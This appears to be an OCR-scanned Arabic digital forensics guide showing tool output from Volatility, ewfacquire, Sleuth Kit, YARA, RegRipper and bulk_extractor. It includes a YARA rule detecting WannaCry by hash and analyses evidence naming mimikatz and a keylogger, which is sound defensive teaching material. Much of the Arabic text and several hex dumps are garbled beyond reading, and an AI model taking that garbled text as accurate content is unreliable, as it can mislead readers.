yaser@CyberBookio: ~/volatility3$ python3 vol.py -f Ozapftis.vmem windows.pslist
Volatility 3 Framework 2.27.0

WARNING volatility3.framework.layers.vmware: No metadata file found alongside VMEM £

Progress: 100.00 PDB scanning finished

PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64
4 0 System 0x819cc830 55 162 N/A False N/A N/A
536 4 Smss.exe 0x81945020 3 21 N/A False 2011-
608 536 CSrss.exe 0x816c6020 11 355 0 False 2011-
632 536 winlogon.exe 0x813a9020 24 533 0 False 2011-
676 632 services.exe 0x816da020 16 261 0 False 2011-
544 1956 cmd . exe 0x817a34b0 1 30 0 False 2011-10-10 17

yaser@CyberBookio: ~/volatility3$ python3 vol.py -f Ozapftis.vmem windows.dlllist --pi
WARNING volatility3.framework.layers.vmware: No metadata file found alongside VMEM f
632gresswinlogon.exe 0x10000000B scan0x59000nmfc42ul.dll C:\WINDOWS\system32\m

yaser@CyberBookio:~/volatility3$ python3 vol.py -f Ozapftis.vmem windows.malfind --pi
Volatility 3 Framework 2.27.0

WARNING volatility3.framework.layers.vmware: No metadata file found alongside VMEM £

PID Process Start VPN End VPN Tag Protection CommitCharge Priv

632 winlogon.exe 0x580000 Oxboffff Vad PAGE_EXECUTE_READ
cl 00 00 00 00 01 00 00 ff ee ff ee 09 00 00 OO0 ................

09 00 00 00 00 fe 00 00 00 00 10 00 00 20 00 00 .............

00 02 00 00 00 20 00 00 3f 08 00 00 ff ef fd 7f ..... .. T

00 00 08 06 00 00 OO 00 OO 00 00 00 00 00 00 OO0 ........ ...t
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0x580000: rol
0x580003: add
0x580005: add
0x580007: add
0x580009: out
632 winlogon.exe
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 29 00 29 00
0x64£0000: add
0x64£0002: add
0x64£003c: add
0x64£003e: add
632 winlogon.exe

00 00 00 00 00 00 00 00

0x4e5d0000: add
0x4e5d0002: add
0x4e5d003b: add
0x4e5d0034d: add
632 winlogon.exe

00 00 00 00 00 00 00 00

0x23df003a:
0x23df003c:
0x23df003e:

CyberBook.io

add
add
add

dword ptr [eax], O

byte ptr

dword ptr [eax], eax

bh, bh
dx, al

0x64£0000

00 00 00
00 00 00

[eax], al

0x64£f3fff VadS

00 00 00 00 00
00 00 00 00 00

00 00 00 00 00 00 00 OO0 .......c..vvvn..
01 00 00 00 00 00 00 00 ....).)..vuu....
byte ptr [eax], al

byte ptr [eax], al

byte ptr [eax], al

byte ptr [eax], al

0x4e5d0000 Ox4ebd3fff VadsS

00 00 00 00 00 00 00 OO0 ........ ... ...
byte ptr [eax], al

byte ptr [eax], al

byte ptr [eax], al

byte ptr [eax], al

0x23d£0000 0x23df3fff VadS

00 00 00 00 00 00 00 00

byte ptr
byte ptr
byte ptr

[eax], al
[eax], al
[eax], al

PAGE_EXECUTE_READWRIT

PAGE_EXECUTE_READWRIT

PAGE_EXECUTE_READWRIT

dtwanll uly o



632 winlogon.exe

00 00 00 00 00 00 00 00

0x2b300039: add
0x2b30003b: add
0x2b30003d: add
632 winlogon.exe

00 00 00 00 00 00 00 00

0x4bd8003c: add
0x4bd8003e: add
632 winlogon.exe

00 00 00 00 00 00 00 00

0x5149003c: add
0x5149003e: add
632 winlogon.exe

00 00 00 00 00 00 00 00

0x6645003b: add
0x6645003d: add
632 winlogon.exe

00 00 00 00 00 00 00 00

0x71b0003b:
0x71b0003d:

CyberBook.io

add

add

0x2b300000 0x2b303fff VadS

00 00 00 00 00 00 00 00

byte ptr [eax], al
byte ptr [eax], al

byte ptr [eax], al

0x4bd80000 0x4bd83fff VadS

00 00 00 00 00 00 00 00

byte ptr [eax], al

byte ptr [eax], al

0x51490000 0x51493fff VadS

00 00 00 00 00 00 00 00

byte ptr [eax], al

byte ptr [eax], al

0x66450000 0x66453fff VadS

00 00 00 00 00 00 00 00

byte ptr [eax], al

byte ptr [eax], al

0x71b00000 0x71b03fff VadS

00 00 00 00 00 00 00 00

byte ptr [eax], al

byte ptr [eax], al

PAGE_EXECUTE_READWRIT

PAGE_EXECUTE_READWRIT

PAGE_EXECUTE_READWRIT

PAGE_EXECUTE_READWRIT

PAGE_EXECUTE_READWRIT
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632 winlogon.exe

00 00 00 00 00 00 0O
0x7262003b: add
0x7262003d: add
632 winlogon.exe
c8 00 00 00 ba 01 00
08 00 00 00 00 fe 00
00 02 00 00 00 20 0O
03 00 08 06 00 00 0O
0x7£6£0000: enter
0x7£6£0004:

mov

0x7£6£0009: out

00

00
00
00
00

0x72620000
00 00 00 00 00 00 00 00

byte ptr [eax], al

byte ptr [eax], al

0x7£6£0000
ff ee ff ee 08 70 00 00
00 00 10 00 00 20 00 00
8d 01 00 00 ff ef fd 7f
00 00 00 00 00 00 00 00
0, 0

edx, 0xff000001

dx, al

0x72623fff

Ox7f7effff

VadS

Vad

PAGE_EXECUTE_READWRIT

PAGE_EXECUTE_READ

https://www.volatilityfoundation.org :dJseal

FTK Imager

YA

3a¥1 o2 FTK Imager s 5 « o8 (i Gaiat dgdas (ol 8 aaV1 5 IV 5 shaall yiiad 31881 ) oY) Jeas
s Jlaadl 13a 8 HSY) A Ja LY el )l Alall cligatll & GuluY1 25 Exterro 48 i (e dgladll
ey L ) g5 iy A3 (Y (Gl s ) Apaiil) A8 Ll clilal) e (S Y eclidadl) & Ao
AaSaall el il
«JaSI liall a jill Bit-by-Bit sl dea¥) 3k 43 32 e L, 4 FTK Imager 5,41 3 5l

LS ceiaill oLy ol Jaans pae e Lol cclld (e a1y A siaal) clilall 5 de Hl) Clalua) @lly i Ly

Al 7 e e dal Akl a3 Al Ands s daSaall aaial) ) o Gleal Hash sl 4 )l decal lluay a

1007 sty daglus 5 A 5318 43 ylay AaY) mand el Alaaly sl (e lyias Ao Bl o ¢ jluaialy
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s | sthaall 3 leall (5 sl

Windows, macOS sl dadasf
PRIESS aali)
(Slas) slsial o il g g

FTK Imager )3 <) jae

https://www.exterro.com/ftk-imager :Jwaad

Redline ¢.A

iS58 e Redline 31al 5,8 e e JSi 58I Jilad s jbadll 5 3ea) 3 Gl go daati Laie
las Baiae dagar o sl Craala LY ) all dlaiad Jlae (¥ 15 yuiad dlaall 310Y1 o2 34 =) Mandiant
Bel Al Jemy Al JS Lt jis Apmaall Jlea (e e sheall VT Jilas pan (8

sl Jba dse 5f MRI ey e e LEE Sllsal) o e 163,58 o Redline & 35,4 5 )
Jie 8 3mae ol sl alasiuly A sl Cililaall 7 a5 310Y) jelad ccililead) YT dans y i gll debial (e Yoy sl
Collector sl by aala oL Ao dlandl Lgs a8y 310V jaaii celld ) ALYl o sudiall & gLl e VAl jaaY)
Leleny 138 ale el pll il Aalall (53 0 s Sl (sl (0 AV el (5500 (EDME (e dnims (S« gane
o) Aleall el sy 38 e a3SI Threat Hunting <lusedl) e anall 6 jal 4l 3l

LMJ:\A QJM\BJL@A“&)“M

Windows Jasaiil) dalas
e iy
(o) g\l v il g 5

Redline 313l & jaae

https://fireeye.market/apps/211364 :Jseal

CyberBook.io AR anll uly 0


https://www.exterro.com/ftk-imager
https://fireeye.market/apps/211364

SIFT Workstation ©.A

SIFT Workstation Jes dasa 8 5 callall J sa cpilinl) cpiinall Jae 5 a5l (5 il 3 gaall yiiad ) diaidl)
Oedle )50 sk &35 cUbuntu e sise (Distro) dalS dusi alas & el sf 51l 2 e Cavd daiall a4
a3l pall a5 e linl Biatll Olae 3 ey G Y Y1 aasall 0584 o yall SANS 2g2e Ui
la a5 Le oS3 i chanadiia 3131 200 o ASE le Alanay 3 ala S Wl (a SIFT (b 35,00 3

Al o5 iy 638 500 ISt U5 2l 5 s 3 ) Aelia) (o5 ity immdl Lgnimny o Jo)
(i ainas da e ey JalSIL dilaa Ll Lays Adladl i g el dadast ocnlal) 3 SIA Jalas 18 el

baall Jlaall 138 8 Gagaa 5 A8 ial 3l lay o 3 padd Y A Al 8

J:u.u).\.A QJM\EJL@A\L;}M

Linux (Ubuntu-based) sl dadas
Slae Aal)
(Llise) sradll ~ sida oan il g 5

SIFT Workstation 32l <l jiea

:(Acquisition & Analysis) Jidsill 5 3 i) ALKl SUall sl 5 90 1 das Jlia

rJlal) 7 s
AedY) Jgan e Ul ((dd) aladl il (ands Liad ceadl 38 (mmls): As¥) gaadl) )

Gl o€ Laay | E01 dara ) o= @l Jisail ewfacquire Leadiul (Acquisition): Y gaiwd) Y
.(Chain of Custody) sag=ll dlulus laual (Gaslil) au dgpuail) &8 ) dpail) clily Jia) sy

el ae gl (e 2SE 5 ) guall MID5 5 s sy 3101 adld o LisY) vy (Verification): @dadll v

«lalal (ya gal (1 &Liail\) daasiall s HY) & fls Liaaiiul Jﬁsi Listing): (File Gldlal) Gl mdad €
.($FAT ,$MBR) FEEOA|] eLE.zS\ clala Sl &

sl Al
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yaser@CyberBookio:~$ mmls mbr_evidence.dd
DOS Partition Table
Offset Sector: O

Units are in 512-byte sectors

Slot Start End Length Description
000: Meta 0000000000 0000000000 0000000001  Primary Table (#0)
001: ---——-—- 0000000000 0000000000 0000000001  Unallocated

002: 000:000 0000000001 0000000187 0000000187  Win95 FAT32 (0x0b)

yaser@CyberBookio: ~$ sudo ewfacquire mbr_evidence.dd

ewfacquire 20140816

Storage media information:

Type: RAW image
Media size: 96 KB (96256 bytes)
Bytes per sector: 512

Acquiry parameters required, please provide the necessary input
Image path and filename without extension: evidence_processed
Case number: Lab-7

Description: MBR Evidence Recovery

Evidence number: 001

Examiner name: Yaser Alosefer

Notes: Converted from raw DD to EO1 for CyberBook.io

Media type (fixed, removable, optical, memory) [fixed]: fixed
Media characteristics (logical, physical) [physical]: physical
Use EWF file format (ewf, smart, ftk, encasel, encase2, encase3, encase4, encaseb, en
Compression method (deflate) [deflate]: deflate

Compression level (none, empty-block, fast, best) [none]: fast
Start to acquire at offset (0 <= value <= 96256) [0]:

The number of bytes to acquire (0 <= value <= 96256) [96256]:

CyberBook.io AR anll uly



Evidence segment file size in bytes (1.0 MiB <= value <= 7.9 EiB) [1.4 GiB]:
The number of bytes per sector (1 <= value <= 4294967295) [512]:
The number of sectors to read at once (16, 32, 64, 128, 256, 512, 1024, 2048, 4096, 8

The number of sectors to be used as error granularity (1 <= value <= 64) [64]:

The number of retries when a read error occurs (0 <= value <= 255) [2]:

Wipe sectors on read error (mimic EnCase like behavior) (yes, no) [no]:

The following acquiry parameters were provided:

Image path and filename:
Case number:
Description:

Evidence number:

Examiner name:

evidence_processed.EO1
Lab-7

MBR Evidence Recovery
001

Yaser Alosefer

Notes: Converted from raw DD to EO1 for CyberBook.io
Media type: fixed disk
Is physical: yes

EWF file format:

EnCase 6 (.EO1)

Compression method: deflate
Compression level: fast
Acquiry start offset: 0

Number of bytes to acquire:

Evidence segment file size:

Bytes per sector:
Block size:
Error granularity:

Retries on read error:

Zero sectors on read error:

94 KiB (96256 bytes)

1.4 GiB (1572864000 bytes)
512

64 sectors

64 sectors

2

no

Continue acquiry with these values (yes, no) [yes]: yes

Acquiry started at: Nov 26, 2025 13:58:34

This could take a while.

CyberBook.io
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Acquiry completed at: Nov 26, 2025 13:58:34

Written: 95 KiB (97572 bytes) in 0 second(s).
MD5 hash calculated over data: a24a84445f5b0fad94c22b87eba2f0dd
ewfacquire: SUCCESS

yaser@CyberBookio:~$ mmls -i ewf evidence_processed.EO01
DOS Partition Table
Offset Sector: O

Units are in 512-byte sectors

Slot Start End Length Description
000: Meta 0000000000 0000000000 0000000001  Primary Table (#0)
001: ---——-—- 0000000000 0000000000 0000000001  Unallocated

002: 000:000 0000000001 0000000187 0000000187  Win95 FAT32 (0x0b)

yaser@CyberBookio:~$ fls -i ewf -f fat -o 1 evidence_processed.E01
r/r 3: FAT-MBR (Volume Label Entry)

d/d 5: .fseventsd

r/r 6: README.txt

r/r 8: . _README.txt

v/v 2947: $MBR

v/v 2948: $FAT1

v/v 2949: $FAT2

V/V 2950: $0rphanFiles

https://www.sans.org/tools/sift-workstation/ :Jsaad

Plaso/Log2Timeline 1.A

&L‘Li\,y JJL»AA % (Super T|me||neS) 494 ;\.J.\AJ d}\h ;Luu} L.g asadia JMA]\ C)BAAJ J)MA d.a.l: JLL!

Aaly JalSI 4 sale] Casiy <Log2Timeline by it Coped oIS e ) ilindl Jilall de siiay 5a3aa
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G @l b Lay ccilide Cale ¢ 53200 o ST e dgie 3l gl shall LY 2 aisy Plaso as) sl Python
(Event Slaal) Ella cclipdaill s ccalalal Lbea o)) UL (bl 2ol 8 cclabiaiall cilala caldail)
8 e gl s s o axdind Aael) Aalall JelSll g bl oy Bale) s Clanl) Julus agh 8 il ac by

Sliall il Jiaill 4 jles iad s «DFIR (Digital Forensics and Incident Response) G

dadl) dualdl)

?'ﬁj‘“ QM\BJL@A\L;}LM

Linux, Windows, macOS ) dalaif
L";i\;.« 481y
Apache 2.0 o il g g

Plaso/Log2Timeline 33l &l s

L5 Leldads (E01) L 5 5ma (e 48 sudia il 3l il 1les U

mmls terry-work-usb-2009-12-11.EO01

fls -r -o 63 terry-work-usb-2009-12-11.E01 | grep ".exe"

icat -o 63 terry-work-usb-2009-12-11.E01 75 > suspicious_vnc.exe

file suspicious_vnc.exe
rdial ¢ s
63 gl vie fay 53 (FAT32) llall aud (S 223 Ulay (mmls): plad) ypaas )

Ll clild) e Gl 5 il Lbeail grep Lieadiul § 63 da) 3Y) ax fls Lieadil (fls): A oo gl Y

VNC. z=lins <asisa (Keylogger) st el p e CaiS dagmill (Lexe)

suspicious_vnc.exe sk 4kis (75 Inode ) a3 ,) vne-3_1_4.exe <alaz) )aiul Liad (icat): @) Adad) |

((PE32 Executable) J s s aal mlla (535 cile aif s 7 _jaiusdll Caldl g 53 00 ST (file): (38a3)
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yaser@CyberBookio:~$ wget https://digitalcorpora.s3.amazonaws.com/corpora/scenarios/2
--2025-11-26 23:13:12-- https://digitalcorpora.s3.amazonaws.com/corpora/. ..
Resolving digitalcorpora.s3.amazonaws.com... connected.

HTTP request sent, awaiting response... 200 0K

Length: 33499203 (32M) [binary/octet-stream]

Saving to: ‘terry-work-usb-2009-12-11.E01.2’°

terry-work-usb-2009-12-11.E01.2 100%L >] 31.95M 9.24MB/s

yaser@CyberBookio:~$ mmls terry-work-usb-2009-12-11.E01
DOS Partition Table
Offset Sector: 0

Units are in 512-byte sectors

Slot Start End Length Description
000: Meta 0000000000 0000000000 0000000001  Primary Table (#0)
001: -—-—————- 0000000000 0000000062 0000000063  Unallocated

002: 000:000 0000000063 0004095944 0004095882  Win95 FAT32 (0xOb)
003: --————- 0004095945 0004095999 0000000055  Unallocated

yaser@CyberBookio:~$ fls -r -o 63 terry-work-usb-2009-12-11.E01 | grep ".exe"
r/r * 70: xpadvancedkeylogger.exe

r/r 75: vnc-4_1 3-x86_win32.exe

yaser@CyberBookio:~$ icat -o 63 terry-work-usb-2009-12-11.E01 75 > suspicious_vnc.exe

yaser@CyberBookio:~$ file suspicious_vnc.exe

suspicious_vnc.exe: PE32 executable for MS Windows 4.00 (GUI), Intel i386, 8 sections

https://github.com/log2timeline/plaso :Jseal
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YARA V.A

3laY1 o3 iiad YARA (5 @indll Clase i) ge ofinlill (g pma sudl Gaal) oS il 3l 31081 ) oY) Jeat
ool e i) e Yoy ol Aabay LS8 A5uall Clisa ) Jllae moes (g allall Ll 5 A8 jidiall Al
Adal aailad 5l ddias e ol liay o(A g ok (Sar (g 5) 4y paldl) (il ) 4auly
Oo Gl of Slie @iy Aall 4885 & ye (Rules) 2! 8 AUS e L3 )a o YARA 8 5541 &5l
(Hex 258 e haaill 138 o (5 5ing s I3 dana (5585 ¢ adadl paill 13 e s sing cale 6l e Singl 312Y)
pd Sl @le ) Lgdiial s Al de s Qi) Gdle o Leindat GliSay 3ac Bl 4,18 5 jaes Pattern)
ieal) ekl 5 VirusTotal die dsalle clbaid Gull €I cald ouludl) @ aall YARA 25 il 13d5 48

«isiae (Threat Hunter) wags sa ¥ Leie (32 Y5 les e Ll LS (EDR) deciial

eﬁ:\A &HM‘B)L@&Q}\&\}S&A

Linux, Windows, macOS Josiil) Lkl
Sl aalsy
BSD 3-Clause o il g g

YARA 3130 &l yras

:(Hash) a1l deay aladiuls (WannaCry) dusw n <ais 1 tee JUa

yara —-s -m wannacry_hash.yar WannaCry.exe
ccalall 3y 5al) A ) daad) dae o saclall s aaind 1 JGall g
Al Glua J1sa oSadl "hash” import — <alall fay 1488 slosia) o

Lt e 5 Jlad) Calall &5 jail) da sy hash.sha256 41l s ccondition da_will aud i jcadsl) 4 o
WannaCry duse 44 5 el daill aa syl

gl g il ga ald) abald (S 2S5 (Gl i) b ey LS) el sildas 1dail) o

AEGERN]
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(yaser CyberBookio)-[~/WannaCry]
$ cat wannacry_hash.yar

import "hash"

rule WannaCry_Packed_Dropper {
meta:
description = "Detects WannaCry (Packed) via SHA256"
author = "CyberBook.io Lab"
severity = "critical"
hash_value = "ed0lebfbc9ebb5bbeab45af4d01bf5£1071661840480439c6e5babe8e080e41a
condition:
uint16(0) == 0x5A4D and
hash.sha256(0, filesize) == "edOlebfbc9ebbbbeab45af4d01bf5£1071661840480439c6

(yaser CyberBookio)-[~/WannaCry]
$ yara -s -m wannacry_hash.yar WannaCry.exe

WannaCry_Packed_Dropper [description="Detects WannaCry (Packed) via SHA256",author="C

(yaser CyberBookio) - [~/WannaCry]
$

https://virustotal.github.io/yara/ :Jsaad

RegRipper A.A

(Windows ekl g Jalady lin Biae Y ) dliall ind 5 Tas deavadiall 310Y) ) (Y (i e
Oleal) (8 A5 A4S IS Jaw 3l 25uY) G paiall Lia Registry sf alaill Jaw 33 RegRipper 4 s
dagall o3¢0 o 5811 (Harlan Carvey sall sk o) 311 sda ks g il Tda Lo l€ jied Ty 5y alidas (1
A ey danaal)
il a3 Y sy AKA (Pluging) <l alai e el s RegRipper i 5,4 5 3l
dedg )l 515 Jleall Llua s 5 Al (USB) colidiall 4aild Jie of 55 3 3alad) oY) 7 530 5 Lgagdl Jy oJadd o)
A3l el Gl is s ((ShimCache s UserAssist dilas b o) il Llads &5l geel Ll
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https://virustotal.github.io/yara/

dalall (50 iy Sleall 3 Coa Lo dal (Say aai i ) Led et p saelad) Jand) clile 31aY) 230 by
R Q.MAA] " ‘ew‘ ( Mi. Vel

Aaddl) Asaldl)

Jovsgia | <o sllnall 3 leall (5 gise

Windows, Linux (via Perl) Jil) dalasl
(Sl sl
GNU GPL ot il g g

Reg Ripper 31l Sl TPV

ity 3l Aol ) 535l 5 (NTUSER . DAT) padciesdl) dlavs hlad 1 les (Ja
rip.pl -r NTUSER.DAT -f ntuser > forensic_analysis.txt

NTUSER.DAT ile (3o LiSeall bl 818 ) jaiuY RegRipper dueis fas Jalsll yy jiil) g L) 11 8 shil
Asiny b el g (Pluging) byl Juest oLl cUad¥) sy ) seda ba¥ sl cai cile i Lgdaia
gl gl s

rip.pl -r NTUSER.DAT -f ntuser > forensic_analysis.txt
Baaae milie e daall grep adiius el Ell aaa G (Grep) aladiuly A 71 Ada) 12 5 ghil)

DAl ClalS dlea Hu clile Jia A 8 A (g L cpaiiinal) Lelid il mal ) el :UserAssist
A& mhaw e (crark50-ocl.rar)

(store.kaspersky.com) dbesl zal i o) p a8 ga Jia el s prdtunall L€ ) 28 gal) 23S5 : TypedURLS *

@l gl Jos A e ) gial) o slaladl s (el ey i Jani G el i) e 383 :Run Keys ¢

runvirtual s jae 5 mimikatz_trunk.7z Jie 3)_sal

sl Al
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(yaser CyberBookio)-[~]
$ rip.pl -r NTUSER.DAT -f ntuser > forensic_analysis.txt
Parsed Plugins file.

Error in adoberdr: Can't locate /usr/lib/regripper/plugins/adoberdr.pl at /usr/local/

adoberdr complete.

Launching allowedenum v.20200511
allowedenum complete.

Launching appassoc v.20200515
appassoc complete.

Launching appcompatflags v.20200525
appcompatflags complete.

Launching appkeys v.20200517
appkeys complete.

Error in link click: Can't locate /usr/lib/regripper/plugins/link_click.pl at /usr/lo

link_click complete.

Launching userassist v.20170204

Error in userassist: Can't call method "get_list_of_values" on an undefined value at

userassist complete.

(yaser CyberBookio)-[~]

$ grep -A 20 "UserAssist" forensic_analysis.txt

UserAssist

Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist

LastWrite Time 2014-05-20 14:31:27Z

UNKBES
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wc_shares v.20200515

- Gets contents of user's WorkgroupCrawler/Shares subkeys

Software\Microsoft\Windows\CurrentVersion\Explorer\WorkgroupCrawler\Shares not found.
winrar v.20200526
(NTUSER.DAT) Get WinRAR\ArcHistory entries

WinRAR
Software\WinRAR\ArcHistory
LastWrite Time 2014-09-12 22:46:59Z7

0 -> C:\Users\eric\Desktop\crark34-linux-opencl.rar
1 -> C:\Users\eric\Desktop\crark50-ocl.rar

winscp v.20201227

(yaser CyberBookio)-[~]
$ grep -A 10 "TypedURLs" forensic_analysis.txt
(NTUSER.DAT) Returns contents of user's TypedURLs key.

TypedURLs
Software\Microsoft\Internet Explorer\TypedURLs
LastWrite Time 2014-11-18 18:10:06Z
urll -> https://store.kaspersky.com/
url2 -> https://store.kaspersky.com/store/
url3 -> https://store.kaspersky.com/store?Action=DisplaySelfServiceSubscriptionLand
urld -> http://direct.mikestammer.com/websvn/
url5s -> https://mikestammer.com/websvn/
urlé -> https://direct.mikestammer.com/websvn/

url7 -> https://products.geotrust.com/orders/orderinformation/information.do?pin=Is
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url8 -> http://rapidssl.com/

url9 -> http://rapidssl.org/

(NTUSER.DAT) Returns contents of user's TypedURLsTime key.

TypedURLsTime

Software\Microsoft\Internet Explorer\TypedURLsTime

LastWrite Time 2014-11-18 18:10:06Z

urll
url2
url3
urld
urlb
urlé6
url?
url8

url9

->

->

->

->

->

->

->

->

->

2014-11-18
2014-11-18
2014-11-18
2014-11-05
2014-10-23
2014-10-23
2014-10-23
2014-10-23
2014-10-23

18:

18:

18:

21:

20:

19:

14:

14:

14:

(yaser CyberBookio)-[~]

10:
10:
05:
17:
03:
59:
33:
33:
33:

06Z
03Z
04z
00Z
07Z
38Z
467
10Z
03Z

(https://store.kaspersky.com/)
(https://store.kaspersky.com/store/)
(https://store.kaspersky.com/store?Action=DisplaySelfS
(http://direct.mikestammer.com/websvn/)
(https://mikestammer.com/websvn/)
(https://direct.mikestammer.com/websvn/)
(https://products.geotrust.com/orders/orderinformation
(http://rapidssl.com/)

(http://rapidssl.org/)

$ grep -i "Run" forensic_analysis.txt

C:\xwf\xwforensics.exe -> RUNASADMIN

2013-08-21 23:53:01Z

2013-08-22 06:57:05Z

2013-08-22 06:57:05Z

2013-08-22 06:57:05Z

2013-08-21 23:53:01Z

2013-08-21 23:53:01Z

(NTUSER.DAT) Autostart

AutoRun value not found.

C:\Users\eric\Desktop\NCrunch VS2013 2.7.0.5.msi

C:\ProjectWorkingFolder\osTriage2\trunk\osTriage2\CopyDLLs.b

C:\Users\eric\AppData\Local\Temp\DPrunOnce_76112764.cmd

C:\ProjectWorkingFolder\XWFManager \XWFManager\trunk\XWFManag

D:\temp\osTriage2RunToExtract.exe

D:\Dropbox (Personal)\temp\osTriage2RunToExtract.exe

get Command Processor\AutoRun value from NTUSER.DAT hive

Kjs.AppLife.Update.MakeUpdate.UI.exe - My Computer\C:\ProjectWorkingFolder\XWFManag

My Computer\C:\ProjectWorkingFolder\XWFManager\XWFManager\trunk\XWFManager\XWFManag

My Computer\C:\ProjectWorkingFolder\osTriage2\trunk\osTriage2\osTriage2.aup
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My Computer\C:\ProjectWorkingFolder\Hasher\trunk\Hasher\Hasher.aup

My Computer\C:\ProjectWorkingFolder\GOON\trunk\GOON\GOONManual.docx

My Computer\C:\ProjectWorkingFolder\XWFManager\XWFManager\trunk\XWFRT\bin\Release\X
My Computer\C:\ProjectWorkingFolder\XWFManager\XWFManager\trunk\XWFManager\bin\Rele
My Computer\C:\ProjectWorkingFolder\Hasher\trunk\Hasher2\ExternalHardDrive256.ico

2014-08-27 19:49:40Z,\Device\HarddiskVolume4\ProjectWorkingFolder\osTriage2\trunk\osT
2014-07-02 21:09:33Z,\Device\HarddiskVolume4\ProjectWorkingFolder\XWFManager \XWFManag

run v.20200511
Software\Microsoft\Windows\CurrentVersion\Run

Skype - "C:\Program Files (x86)\Skype\Phone\Skype.exe" /minimized /regrun
Software\Microsoft\Windows\CurrentVersion\Run has no subkeys.
Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run not found.
Software\Microsoft\Windows\CurrentVersion\RunOnce

Software\Microsoft\Windows\CurrentVersion\RunOnce has no values.

runmru v.20200525

(NTUSER.DAT) Gets contents of user's RunMRU key

RunMru

Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU has no values.

runvirtual v.20200427

(NTUSER.DAT, Software) Gets RunVirtual entries
osTriage2RunToExtract.exe
C:\Users\eric\Desktop\mimikatz_trunk.7z\
C:\Users\eric\Desktop\Autoruns.zip\
D:\Dropbox (Personal)\temp\osTriage2RunToExtract.exe\osTriage2\
D:\Dropbox (Personal)\temp\osTriage2RunToExtract.exe\

AutoRuns [2014-10-17 14:50:227]

urll0 C:\ProjectWorkingFolder\Hasher\trunk\Hasher\bin

urlil C:\ProjectWorkingFolder\Hasher\trunk
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https://github.com/keydet89/RegRipper3.0 :Jseal

bulk_extractor 4.A

sl e Lala 31091 o2 aliad dpanivall cA 8 ésd) Sl LS 3 5Y) & bulk_extractor
Ll (Simson Garfinkel sk il) &y el L S8 5 cculilal) allai 5ol g agh o aaied 3l dpalitl) sl
wa Al Je (Raw Data) pliallh bl mual 3 pile ca X5 JalSIL cilalal) alas Jalass

clald) o i pa @l S o s e gladl) 1Al e 33 s bulk_extractor 8 53,L 5 sl
lgae s Juady) 486 de jun s cilia il 5 sa Lgadaad Glil Joas Aoaladl 3kl Led) Jgeasl) Sy ¥ 5 48 53a
i) sy (URL dasl 5 e i) iy ald i 5 S 2l cpsbie JS 8 3ala il o Ha0 (515301 2aail
Aloall Llmd 3 36V 310 Ledead Auluall Cilagleall o jud) slaad) e 5080 028 EXIF ) seall da )l
Al )l o gil) (e Aaelall ALY ) Ay ALl cligatl) g A g Sy

-

Aadl) Aualdl)

L gla QM\B)L&A\L;}L&A

Linux, Windows, macOS Josil) Lkl
Sl aalssy
MIT sl g 58

bulk_extractor 33 <l es

‘bulk_extractor &iub s sl ua  (« (Data Carving) o) clilull #1 aiu) 1 des JUa
bulk_extractor -o bulk_terry terry-work-usb-2009-12-11.E01

e sl L ey lae cclilall aUas dlalaie JalSIL G jal) ey 310V o 585 ) ASLN) 3dE 11 B ghdl)
(Multi-threaded) algall 2323 alasiinly 310Y) Jae 488 gy olial JalSll Jadl 4piaal) ol 46 saaall i)
Syl de sl

bulk_extractor -o bulk_terry terry-work-usb-2009-12-11.E01
Al Q) yal yeind 5 bulk_terry z) AY) alaal Jsaally o 58 (andll plgiil axy gilill) (asd 12 3 ghil)
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https://github.com/keydet89/RegRipper3.0

Lo bl Blad) e da jatial) (S5 S 3 o) o lie e s 5y email.txt: e
bl 8 L 3a5 5 Ltk ) aad ) dand 5l aaen Al urltxt: o
rla il

yaser@CyberBookio: ~$ bulk_extractor -o bulk terry terry-work-usb-2009-12-11.E01
mkdir "bulk_terry"

opening terry-work-usb-2009-12-11.E01

bulk_extractor version: 2.1.1

Input file: "terry-work-usb-2009-12-11.E01"

Output directory: "bulk_terry"

Disk Size: 2097152000

Scanners: aes base64 elf evtx exif facebook find gzip httplogs json kml_carved msxml
Threads: 2

going multi-threaded...( 2 )

bulk_extractor Thu Nov 27 13:42:26 2025

available_memory: 7306104832
bytes_queued: 0
depthO_bytes_queued: O
depthO_sbufs_queued: 0
elapsed_time: 0:00:00
estimated_date_completion: 2025-11-27 13:42:25
estimated_time_remaining: n/a
fraction read: 0.000000 %
max_offset: O

sbufs_created: 0O
sbufs_queued: 0O
sbufs_remaining: 0
tasks_queued: O

thread count: 2
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bulk_extractor Thu Nov 27 13:42:27 2025

available_memory: 7244001280

bytes_queued: 384824440
depthO_bytes_queued: 167772160
depthO_sbufs_queued: 8

elapsed_time: 0:00:01
estimated_date_completion: 2025-11-27 13:43:28
estimated_time_remaining: 0:01:01
fraction read: 1.600000 Y%

max_offset: 16777216

sbufs_created: 241117

sbufs_queued: 1358

sbufs_remaining: 48

tasks_queued: 1356

thread-1: 0: email (20971520 bytes)
thread-2: 16777216: winpe (20971520 bytes)

thread count: 2

bulk_extractor Thu Nov 27 13:42:28 2025

available_memory: 7230754816

bytes_queued: 1111991560

depthO_bytes_queued: 1111490560
depthO_sbufs_queued: 53

elapsed_time: 0:00:02
estimated_date_completion: 2025-11-27 13:43:49

estimated_time_remaining: 0:01:21
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fraction_read: 2.400000 %

max_offset: 33554432

sbufs created: 296988

sbufs_queued: 83

sbufs_remaining: 4

tasks_queued: 81

thread-1: 0: email (20971520 bytes)

thread-2: 33554432: httplogs (20971520 bytes)

thread count: 2

bulk extractor Thu Nov 27 13:42:29 2025

available_memory: 7207739392

bytes_queued: 20971520
depthO_bytes_queued: 20971520
depthO_sbufs_queued: 1

elapsed_time: 0:00:03
estimated_date_completion: 2025-11-27 13:44:31
estimated_time_remaining: 0:02:02
fraction_read: 2.400000 %

max_offset: 50331648

sbufs created: 540977

sbufs_queued: 1

sbufs_remaining: 2

tasks_queued: O

thread-2: 50331648: email (20971520 bytes)

thread _count: 2
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bulk_extractor Thu Nov 27 13:42:30 2025

available_memory: 7203831808

bytes_queued: 20971520

depthO_bytes_queued: 20971520
depthO_sbufs_queued: 1

elapsed_time: 0:00:04
estimated_date_completion: 2025-11-27 13:42:41
estimated_time_remaining: 0:00:11
fraction read: 25.600000 7%

max_offset: 536870912

sbufs_created: 655393

sbufs_queued: 1

sbufs_remaining: 2

tasks_queued: 0

thread-2: 536870912 process_sbuf (20971520)

thread count: 2

